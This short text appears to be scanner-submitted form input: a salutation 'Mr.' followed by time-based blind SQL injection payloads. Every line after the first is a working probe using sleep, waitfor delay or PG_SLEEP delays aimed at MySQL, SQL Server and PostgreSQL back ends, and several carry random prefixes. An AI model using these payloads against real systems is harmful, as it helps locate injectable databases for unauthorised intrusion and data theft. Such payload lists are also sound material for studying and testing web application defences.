Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

4dENTgVv'; waitfor delay '0:0:15' --

9970jWtI'); waitfor delay '0:0:15' --

Auck19ad')); waitfor delay '0:0:15' --

-5 OR 221=(SELECT 221 FROM PG_SLEEP(15))--

-5) OR 414=(SELECT 414 FROM PG_SLEEP(15))--